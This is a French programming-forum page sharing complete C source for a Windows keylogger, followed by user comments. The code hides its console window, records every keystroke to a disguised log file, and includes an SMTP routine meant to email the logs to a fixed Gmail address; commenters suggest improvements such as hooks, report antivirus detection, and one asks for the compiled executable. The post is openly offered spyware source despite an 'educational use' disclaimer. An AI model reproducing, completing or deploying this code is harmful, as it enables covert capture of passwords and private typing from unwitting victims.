Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

KEYLOGGER-MAIL (ENVOIE LES TOUCHES FRAPPÉES AU CLAVIER PAR MAIL)


Information sur la source

Description

Ce code est une amélioration d'un code que j'ai trouvé sur cpp france
il logue la plus part des touches du clavier sans aucun Hook !
et envoie par mail sur server SMTP port 25

/!\
n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci !
/!\
 

Source

  • #include <stdio.h>
  • #include <stdlib.h>
  • #include <windows.h>
  • #include <winuser.h>
  • #include <windowsx.h>
  • #include <time.h>
  • int MailIt (char *mailserver, char *emailto, char *emailfrom,
  • char *emailsubject, char *emailmessage);
  • #define BUFSIZE 800
  • #define waittime 500
  • /*tapper :
  • "nslookup -querytype=mx gmail.com" dans la console msdos
  • si vous souhaitez avoir les serveurs SMTP à jour*/
  • #define cmailserver "gmail-smtp-in.l.google.com"
  • #define cemailto "toi@gmail.com"
  • #define cemailfrom "destinataire@gmail.com"
  • #define LogLength 100
  • #define FileName "sound.wav"
  • #define SMTPLog "ring.wav"
  • #define cemailsubject "Logged"
  • int isalt(); //savoir si alt est pressé
  • int ismajpressed(); //savoir si shift est pressé
  • int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
  • void TraiterLettre(int lettre);
  • int majuscule; //savoir si le clavier est en mode caps lock
  • FILE *sortie;
  • char fichier[256];
  • int main(int argc, char *argv[])
  • {
  • //on masque
  • HWND hwnd = GetForegroundWindow() ;
  • ShowWindow(hwnd,SW_HIDE);
  • int i, lettre, result, lastresult, lastletter, compteur;
  • GetCurrentDirectory(256, fichier);
  • strcat(fichier,"\\fichierlog.txt");
  • sortie = fopen(fichier,"w+");
  • result=0;
  • compteur=0; //on initialise
  • lastresult=0;
  • i=0;
  • while ( i==0 ) { //boucle sans fin
  • lettre=13;
  • for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
  • result=GetKeyState(lettre);
  • //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
  • if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
  • if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
  • if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
  • {
  • TraiterLettre(lettre);
  • lastresult=result;
  • lastletter=lettre;
  • lettre=13;
  • Sleep(50);
  • }
  • } //fin de test des lettres
  • Sleep(1);
  • } //fin de la boucle sans fin
  • return 0;
  • }
  • int ismaj() {
  • if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
  • return 1;
  • else return 0;
  • }
  • int ismajpressed() {
  • int result;
  • result=GetKeyState(VK_SHIFT );
  • if ( ( result==-127 ) || ( result==-128 ) ) return 1;
  • else return 0;
  • }
  • int isalt() {
  • int result;
  • result=GetKeyState(VK_MENU );
  • if ( ( result==-127 ) || ( result==-128 ) ) return 1;
  • else return 0;
  • }
  • void TraiterLettre(int lettre) {
  • char towrite; //la lettre que l'on va écrire dans la console
  • static int compteur = 0;
  • //traitement des chiffres ( un décalage )
  • if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
  • //Les lettres sont envoyées comme majuscules, il faut faire un décalage
  • else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
  • //Sinon on écrit telle quelle la lettre
  • else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
  • else switch ( lettre ) {
  • case VK_MENU:
  • fprintf(sortie,"<alt>",towrite);
  • break;
  • case VK_BACK:
  • fprintf(sortie,"<delete>",towrite);
  • break;
  • case VK_DELETE:
  • fprintf(sortie,"<Suppr>",towrite);
  • break;
  • case 9:
  • fprintf(sortie,"<TAB>",towrite);
  • break;
  • case VK_CONTROL:
  • fprintf(sortie,"<ctrl>",towrite);
  • break;
  • case 49 : if( ismaj() ) towrite='1';
  • else towrite='&';
  • break;
  • case 50 : if ( ismaj() ) towrite='2';
  • else towrite='é';
  • break;
  • case 51 : if ( ismaj() ) towrite='3';
  • else towrite='"';
  • break;
  • case 52 : if ( ismaj() ) towrite='4';
  • else towrite= '"';
  • break;
  • case 53 : if ( ismaj() ) towrite='5';
  • else towrite='(';
  • break;
  • case 54 : if ( ismaj() ) towrite='6';
  • else towrite='-';
  • break;
  • case 55 : if ( ismaj() ) towrite='7';
  • else towrite='è';
  • break;
  • case 56 : if ( ismaj() ) towrite='8';
  • else towrite='_';
  • break;
  • case 57 : if ( ismaj() ) towrite='9';
  • else towrite='ç';
  • break;
  • case 48 : if ( ismaj() ) towrite='0';
  • else towrite='à';
  • break;
  • case 187 : if( ismaj() ) towrite='=';
  • else towrite='+';
  • break;
  • case 186 : if ( ismaj() ) towrite='£';
  • else towrite='$';
  • break;
  • case 192 : if ( ismaj() ) towrite='%';
  • else towrite='ù';
  • break;
  • case 188 : if ( ismaj() ) towrite='?';
  • else towrite=',';
  • break;
  • case 190 : if ( ismaj() ) towrite='.';
  • else towrite=';';
  • break;
  • case 191 : if ( ismaj() ) towrite='/';
  • else towrite=':';
  • break;
  • case 32 : if ( isalt() ) towrite=' ';
  • else towrite=' ';
  • break;
  • case 219 : if ( isalt() ) towrite=']';
  • else towrite=')';
  • break;
  • case 223 : towrite='!';
  • break;
  • case 111 : towrite='/';
  • break;
  • case 106 : towrite='*';
  • break;
  • case 109 : towrite='-';
  • break;
  • case 107 : towrite='+';
  • break;
  • case 110 : towrite='.';
  • break;
  • }
  • // On affiche les lettres dans le log
  • if ( lettre==13 ) fprintf(sortie,"\n");
  • else fprintf(sortie,"%c",towrite);
  • compteur++;
  • if ( compteur==2 ) {
  • fclose(sortie);
  • fopen(fichier,"a");
  • compteur=0;
  • }
  • }
  • int MailIt (char *mailserver, char *emailto, char *emailfrom,
  • char *emailsubject, char *emailmessage) {
  • SOCKET sockfd;
  • WSADATA wsaData;
  • FILE *smtpfile;
  • #define bufsize 300 // taille du fichier pour l' envoie
  • int bytes_sent;
  • int err;
  • struct hostent *host; /* gethostbyname */
  • struct sockaddr_in dest_addr; /* adresse de l'hote */
  • char line[1000];
  • char *Rec_Buf = (char*) malloc(bufsize+1);
  • smtpfile=fopen(SMTPLog,"a+");
  • if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  • fputs("WSAStartup failed",smtpfile);
  • WSACleanup();
  • return -1;
  • }
  • if ( (host=gethostbyname(mailserver)) == NULL) {
  • perror("gethostbyname");
  • exit(1);
  • }
  • memset(&dest_addr,0,sizeof(dest_addr));
  • memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  • /* Prepare dest_addr */
  • dest_addr.sin_family= host->h_addrtype;
  • dest_addr.sin_port= htons(25); /* PORT */
  • if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  • perror("socket");
  • exit(1);
  • }
  • /* Connection !*/
  • fputs("Connecting....\n",smtpfile);
  • if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  • perror("connect");
  • exit(1);
  • }
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"helo me.somepalace.com\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"MAIL FROM:<");
  • strncat(line,emailfrom,strlen(emailfrom));
  • strncat(line,">\n",3);
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"RCPT TO:<");
  • strncat(line,emailto,strlen(emailto));
  • strncat(line,">\n",3);
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"DATA\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • Sleep(waittime);
  • strcpy(line,"To:");
  • strcat(line,emailto);
  • strcat(line,"\n");
  • strcat(line,"From:");
  • strcat(line,emailfrom);
  • strcat(line,"\n");
  • strcat(line,"Subject:");
  • strcat(line,emailsubject);
  • strcat(line,"\n");
  • strcat(line,emailmessage);
  • strcat(line,"\r\n.\r\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • strcpy(line,"quit\n");
  • fputs(line,smtpfile);
  • bytes_sent=send(sockfd,line,strlen(line),0);
  • Sleep(waittime);
  • err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  • fputs(Rec_Buf,smtpfile);
  • fclose(smtpfile);
  • #ifdef WIN32
  • closesocket(sockfd);
  • WSACleanup();
  • #else
  • close(sockfd);
  • #endif
  • }
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*tapper : 
"nslookup -querytype=mx gmail.com"  dans la console msdos
si vous souhaitez avoir les serveurs SMTP à jour*/
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "toi@gmail.com"
#define cemailfrom "destinataire@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);

int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];

int main(int argc, char *argv[])
{
    //on masque 
    HWND hwnd = GetForegroundWindow() ;
    ShowWindow(hwnd,SW_HIDE);  
    
int i, lettre, result, lastresult, lastletter, compteur;
 
 GetCurrentDirectory(256, fichier);
 strcat(fichier,"\\fichierlog.txt");
 sortie = fopen(fichier,"w+");
 result=0;
 compteur=0;    //on initialise
 lastresult=0;
 i=0;
 
 while ( i==0 ) { //boucle sans fin
 lettre=13;
 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
   
result=GetKeyState(lettre);
  
  //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
   if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
   if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
   if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
    {
   TraiterLettre(lettre); 
   lastresult=result;
   lastletter=lettre;
   lettre=13; 
   Sleep(50);
   }
   
 } //fin de test des lettres
    Sleep(1);
 } //fin de la boucle sans fin
  
  return 0;
}

int ismaj() {
    
    if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
    return 1;
     else return 0;
    }

int ismajpressed() {
    int result;
    
    result=GetKeyState(VK_SHIFT );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }
    
int isalt() {
    int result;
    
    result=GetKeyState(VK_MENU );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }

void TraiterLettre(int lettre) {
    
     char towrite; //la lettre que l'on va écrire dans la console
     static int compteur = 0;
     
     //traitement des chiffres ( un décalage )
     if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48; 
    
     //Les lettres sont envoyées comme majuscules, il faut faire un décalage
     else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
     
     //Sinon on écrit telle quelle la lettre
     else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
     
     else switch ( lettre ) {
         
         
        case VK_MENU:
		fprintf(sortie,"<alt>",towrite);
		break;
  
      
        case VK_BACK:
		fprintf(sortie,"<delete>",towrite);
		break;

     
          
        case VK_DELETE:
	    fprintf(sortie,"<Suppr>",towrite);
		break;
          
            case 9:
		fprintf(sortie,"<TAB>",towrite);
		break;
		
		

        case VK_CONTROL:
		fprintf(sortie,"<ctrl>",towrite);
		break;
          
         
         case 49 : if( ismaj() ) towrite='1';
          else   towrite='&'; 
          break;		
		
          case 50 : if ( ismaj() ) towrite='2'; 
          else   towrite='é';
          break;
           
          case 51 : if ( ismaj() ) towrite='3';
          else towrite='"'; 
          break;
         
          case 52 : if ( ismaj() ) towrite='4';
          else towrite= '"'; 
          break;
          
          case 53 : if ( ismaj() ) towrite='5';
          else towrite='('; 
          break;
          
          case 54 : if ( ismaj() ) towrite='6';
          else towrite='-'; 
          break;
         
          case 55 : if ( ismaj() ) towrite='7';
          else towrite='è'; 
          break;
         
               
          case 56 : if ( ismaj() ) towrite='8';
          else towrite='_'; 
          break;
           
           
         case 57 : if ( ismaj() ) towrite='9';
         else towrite='ç'; 
         break;
           
         case 48 : if ( ismaj() ) towrite='0';
           else towrite='à';
           break;
           
         case 187 : if( ismaj() ) towrite='=';
            else  towrite='+'; 
               break;
           
           case 186 : if ( ismaj() ) towrite='£';
           else towrite='$'; 
               break;
           
           case 192 : if ( ismaj() ) towrite='%';
            else  towrite='ù'; 
               break;
           
           case 188 : if ( ismaj() ) towrite='?';
            else towrite=','; 
               break;    
          
           case 190 : if ( ismaj() ) towrite='.';
            else towrite=';'; 
               break;
           
           case 191 : if ( ismaj() ) towrite='/';
            else towrite=':'; 
               break;
         
         
           case 32 : if ( isalt() ) towrite=' ';
           else towrite=' ';
                break;
          
      
         
          case 219 : if ( isalt() ) towrite=']';
           else towrite=')'; 
               break;
          
           
           case 223 : towrite='!';
               break;
           case 111 : towrite='/';
               break;
           case 106 : towrite='*';
               break;
           case 109 : towrite='-';
               break;         
           case 107 : towrite='+';
               break;
           case 110 : towrite='.';
               break;     
          }
     
    
     // On affiche les lettres dans le log
     if ( lettre==13 ) fprintf(sortie,"\n");
     else fprintf(sortie,"%c",towrite);
     compteur++;
  
     if ( compteur==2 ) {
        fclose(sortie);
        fopen(fichier,"a");
        compteur=0;
        }
     }

int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
    
    #define bufsize 300 // taille du fichier pour l' envoie
    int bytes_sent;   
    int err;
    struct hostent *host;   /* gethostbyname */
    struct sockaddr_in dest_addr;   /* adresse de l'hote */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  
     dest_addr.sin_port= htons(25); /* PORT  */

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connection !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}

Conclusion

j'ai compilé avec dev c++ libraire à ajouter : lws2_32

il y a certainement encore quelques bugs ou quelques problemes au niveau de l'envoie.

au niveau du log des touches tout me semble correct.

si vous faite des modif ou l'améliorer tenez moi au courant plz !
 

Commentaires et avis

signaler à un administrateur
Commentaire de BruNews le 04/10/2006 11:10:29 administrateur CS

Un keylogger est normalement un prog espion donc pas de console ni quoi que ce soit d'autre à l'écran.

Une boucle perpétuelle est un exemple à ne jamais suivre, tout juste bon en langages interprétés pour cause qu'ils ne peuvent pas faire de prog système.

strncat(line,emailto,strlen(emailto));
quand on ne limite pas la longueur, la version 'N' n'est qu'un amuse cpu, strcat aurait gagné des cycles en n'effectuant qu'un seul parcours de la chaine source.

Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots.

signaler à un administrateur
Commentaire de kerneltony95 le 04/10/2006 11:27:44

"Un keylogger est normalement un prog espion donc pas de console ni quoi que ce soit d'autre à l'écran."

déja premierement perso quand j' execute le .exe la console est caché
chez moi et donc discret ...

Une boucle perpétuelle est un exemple à ne jamais suivre, tout juste bon en langages interprétés pour cause qu'ils ne peuvent pas faire de prog système

2 -> rien ne t' empêche de l'améliorer "si t' es si fort" (je programme pour le fun j'adore ça, j'ai tous apris tous seul ce n'es pas mon métier
je n'est suivie aucune étude en codage)

3 -> strncat(line,emailto,strlen(emailto));
quand on ne limite pas la longueur, la version 'N' n'est qu'un amuse cpu, strcat aurait gagné des cycles en n'effectuant qu'un seul parcours de la chaine source

(tu as certainement raison)

Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots

et encore une fois "si tu es si fort" aide moi à l'améliorer au lieu de critiquer sinon passe ton chemin

++

ps : j'aime partager mes connaissance, ce site est trés bien pour l'entraide et l'open source, donc si vous venez critiquer au lieu d' apporter votre aide ou discuter sur la source, passez votre chemin merci ...

signaler à un administrateur
Commentaire de goutbouyo le 04/10/2006 13:09:17

Faut pas être suceptible comme ça ... BruNews te donne juste son avis et des conseils avisés.

signaler à un administrateur
Commentaire de aardman le 04/10/2006 14:15:52

kerneltony95> Quand on accepte pas les critiques... on poste pas.

signaler à un administrateur
Commentaire de kerneltony95 le 04/10/2006 14:25:05

ba aider au lieu de critiquer ...

signaler à un administrateur
Commentaire de econs le 04/10/2006 14:54:58 administrateur CS

Cet emplacement est justement réservé aux critiques (bonnes ou mauvaises). L'aide vient plus tard. BruNews te propose des axes d'améliorations. Si tu ne comprends pas ou n'y arrive pas seul, alors seulement à ce moment là, l'aide peut venir. Mais il faut le demander. On ne va pas aider des gens qui n'en font pas la demande.

signaler à un administrateur
Commentaire de kerneltony95 le 04/10/2006 15:09:05

arretons les malentendus !

j' accepte la critique mais c'est la maniére dont c'est dit
qui ma paru insolente mais bon oublions ...

et apportez votre aide si vous voulez bien !

:)

signaler à un administrateur
Commentaire de ncoder le 04/10/2006 15:48:03

Alors je propose un seul sprintf au lieu de 1 strcpy et 10 strcat

Plus rapide ...

signaler à un administrateur
Commentaire de deck_bsd le 04/10/2006 16:46:02

"si t' es si fort" ;) tu connais pas BruNews toi ;)lol . Pourquoi ne fais-tu pas un hook, c'est tjrs mieu que une boucle :s et c'est pas si dure que ça . Tu devrai esseyer. Par contre l'envoie par mail est pas mal :D

signaler à un administrateur
Commentaire de kerneltony95 le 04/10/2006 19:59:27

ui j'ai vu les programme de brunews et j' avoue ya du niveau ^^
eu ué pk pas mais j'arrive pas à recevoir le mail il dois avoir une erreur quelque part, et je ne comprends pas ou tous simplement gmail filtre

merci pour les conseil .

signaler à un administrateur
Commentaire de jean84 le 04/10/2006 22:04:58

Petit truc sympa egalement : quitte a faire de la prog en utilisant les API win32, essaye de tout "conformiser" (je sais pas si sa se dit). En bref n'utilise pas d'API de la lib standard (pas que ce n'est pas bien mais c'est mieux de tout faire en win32 - notement les fichiers) !
Et c'est clair que les hook, c'est quand meme plus propre !
Sinon bien, y a de bonnes idees sauf le
"/!\
n' utilisez ce programme qu' à but instructif pour vous perfectionner en C, api et gestion des socket, ni moi ni l' hebergeur de ce code ne sera responsable des "différentes" utilisations de cette source merci !
/!\ "
qui est un peu de trop... c'est un code pas hyper dangereux en soi et si sa l'avait l'ete, sa aurait degage direct alors...

@++

signaler à un administrateur
Commentaire de kerneltony95 le 05/10/2006 00:19:04

ui c'est clair que les hook sont plus propres, mais je l'ai fais pour m'amuser puis si sa peut aider tant mieu, n' hesitez pas si vous avez des idées pour l' améliorer ! surtout au niveau de l' envoi

signaler à un administrateur
Commentaire de izor le 06/10/2006 15:23:59

[BruNews]
strncat(line,emailto,strlen(emailto));
quand on ne limite pas la longueur, la version 'N' n'est qu'un amuse cpu, strcat aurait gagné des cycles en n'effectuant qu'un seul parcours de la chaine source.

Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots.
[/BruNews]

En utilisant des fonctions comme strcpy ou strcat tu t'exposes à des risques de sécurité pour le moins dérangeant, alors est-ce que ca ne vaut pas le coup de perdre un peu de rapidité pour gagner en fiabilité ?

Et si tu tiens absolument à ne pas utiliser strncat il faudrait tailler le buffer en conséquence, et ce avant d'effectuer la concaténation.

signaler à un administrateur
Commentaire de BruNews le 06/10/2006 15:35:33 administrateur CS

Je ne tiens à rien de particulier à part que ce soit cohérent:
strncat(line,emailto,strlen(emailto));
il faudrait une constante max en 3eme param ou au moins une variable calculée.
Ici équivaut exactement à strcat(line,emailto); MAIS avec 2 fois le parcours de emailto, je ne vois pas en quoi la sécurité a progressé du moindre iota.

signaler à un administrateur
Commentaire de izor le 06/10/2006 16:20:30

Je suis d'accord avec toi qu'il faudrait une constante maximum en 3ème paramétre.
L'utilisation normale est de définir une constante de taille pour le buffer et d'ensuite l'utiliser comme argument, ce qui donne:
char line[MAX_SIZE];
strncat(line,emailto,MAX_SIZE);
(en se rappelant que si emailto est plus grande que MAX_SIZE il faudra rajouter soi-même le \0 de fin de chaîne.)

la différence avec strcat dans ce cas là est qu'il ne peut pas y avoir de dépassement de buffer et donc pas de problèmes type buffer overflow.

signaler à un administrateur
Commentaire de izor le 06/10/2006 16:23:14

strncat(line,emailto,MAX_SIZE-1);

j'avais oublié le -1 ^^

signaler à un administrateur
Commentaire de StanOfSky le 07/10/2006 22:49:57

Bonjour à tous ^^

Mon commentaire est en rapport avec la première réponse de Brunews.

Même si BruNews participe beaucoup et apporte beaucoup à CPPfrance, il peut néanmoins rester diplomate dans ses réponses.
Je ne suis pas un habitué et je dois avouer que sa réponse m'a paru assez déplacée même si elle n'a à priori choqué personne.
Tout ca pour dire qu'une bonne ambiance fait toujours mieux avancer les choses que des réponses désobligeantes ^^

En revanche, comme je l'ai vu jusuqu'à présent, Brunews fait une remarque sur le nombre de cycle d'exécution d'une instruction ^^ Il est tout à fait vrai qu'il est bon de corriger ce genre d'erreur assez tôt et de faire attention à économiser son CPU, néanmoins un bon programme ne se mesure pas au nombre de cylce, ni à la taille de l'exécutable ^^ Et il est parfois interessant d'avoir un code source lisible (et débuggable) au détriment d'un tout petit peu de performance, nest ce pas Brunews ^^

signaler à un administrateur
Commentaire de BruNews le 08/10/2006 01:59:05 administrateur CS

Faites bien gaffes aux performances, elles ont une facheuse tendance à se répercuter sur la fiche de paie.
En privilégiant debug et lisibilité (qui n'est somme toute qu'habitude), nombre de boites ne font plus faire leurs produits qu'en interprétés. On les comprens aisément quand on lit de tels propos, autant payer du personnel peu qualifié à perfs voisines.

signaler à un administrateur
Commentaire de kerneltony95 le 08/10/2006 20:58:47

merci pour ton soutient stanofscan, c'est clr que lorsque quelqu' un poste une source c'est pour faire partager, aider, inspirer et donner des idées pas pour se faire remballer :


"Si ceci est une "amélioration", on ne doit pas avoir le même sens pour les mêmes mots. "

avec ce genre de réponse dans ce cas autant rien poster, mais comme je l'ai dis plus haut passons et puis c' est en faisant des erreur que l' on progresse !

merci pour vos conseil je vais les prendre en compte dans mes futur codes :)

signaler à un administrateur
Commentaire de kerneltony95 le 08/10/2006 21:06:39

ps : dsl pour avoir ecorché ton pseudo ^^ stanofsky

signaler à un administrateur
Commentaire de st3fn le 20/05/2007 23:18:39

Bonjour, j'ai testé et j'aurai voulu quand est-ce que le mail est envoyé?

signaler à un administrateur
Commentaire de skybuster le 06/01/2008 13:38:31

Personellement je l'ai testé et je ne reçois pas de mail.
Je ne trouve pourtant pas de problème dans le code.
J'utilise le smtp de gmail ainsi que mon adresse de gmail. Serait-ce le smtp de gmail qui filtre ?

signaler à un administrateur
Commentaire de seboy1 le 23/01/2008 15:55:28

J'utilise gmail aussi et je ne reçois pas de mail...
Quand est-il envoyé?

signaler à un administrateur
Commentaire de kiki67100 le 30/01/2008 14:43:45 5/10

Sinon tu pouvais utiliser sprintf() pour l'envoie de requette SMTP au serveur c'est moins chiant

signaler à un administrateur
Commentaire de YOUSSEFJOUS le 23/09/2008 19:40:27

par contre ton keylogger est détécté par l'un des antivirus les plus pouri c'est a dire avast

signaler à un administrateur
Commentaire de Greyg le 20/12/2008 14:48:02

Salut suis un peu en naab on en fais quoi de ton code le keylogger on le complete?si oui on complete quoi? et comment on l'envoit

signaler à un administrateur
Commentaire de Lacoste3133 le 09/05/2009 22:47:09

Salut, Jolie sources (seul keylogger du site qui compil chez moi d'ailleurs. Je fait probablemment quelque chose de mal)

Juste un petit bémol, les caractère dans le log ce répète dans le log... C'est bien dommage :)

signaler à un administrateur
Commentaire de fundead29 le 16/05/2009 20:47:40

bonjour a tous...
lorsque je compile le programme, une erreur est détectée alors que tout le monde n'en trouve pas... est ce normal ? par ailleurs, le probleme de mail non envoyé est il resolu ?
quelqu'un pourrait il m'envoyer l'exe  a ladresse suivante: fundead@hot.fr
Merci d'avance a vous

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

envoie de mail kand clic sur une application .... [ par gijo ] je debute en c++ et j aimerais creer un programme permettant de recevoir un mail au moment où quelqu' un clic sur une application déterminé .... j esp Prog C - Envoie de mail auto avec piece jointe - Projet a 98% terminé.... [ par JimyRyan ] BonjourJ'ai écrit un programme en C (mode Texte pour le moment) qui ce charge d'envoier un mail automatiquement a une liste de personnes.Le mail ainsi Envoie de mail [ par lolo007 ] Bonjour &#224; tousVoila dans le cadre d'un projet, il faudrait que je developpe une sous partie qui me permettrait denvoeyr un mail.Mais je ne sais p envoie de touches fictives du clavier [ par semenzato ] Bonjour , je voudrais savoir comment envoyer des touches fictives du clavier à la fenetre de dialogue principalemerci envoie mail en c sous linux [ par vw91 ] Bonjour,Je suis a la recherche d'un programme c sous linux qui envoie des mails, car je ne comprends pas comment fonctionne les sockets.J'espere que v envoie e-mail en c++ avec visual c++6 [ par tsii ] si quelqu'un a du code et des explication qui montre comment programmer l'envoyer d'un e-mailmercie Envoie de mail en C++ [ par lolo007 ] Bonjour a tous.Voila, je develloppe un projet en c++.Un de mes objectifs est d'envoyer un mail d'alerte. (Peut un porte le contenu).Mes voila, je n'ai envoie de mail [ par dacor ] Bonjour,   je cherche une libraire c++ pour envoyer des mails merci Envoie automatique d'un mail [ par conservatoire ] Bonjour!!Je voudrais savoir si il est possible de faire en sorte qu'un programme envoie un mail a une adresse donnée .si oui peut on aussi joindre un Problème d'envoi d'email [ par pdc_666 ] Bonjour à tous voilà mon problème. Je dois envoyé des mails dans mon appli, j'ai déja un module qui me permet d'envoyé des mail en passant par un serv


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
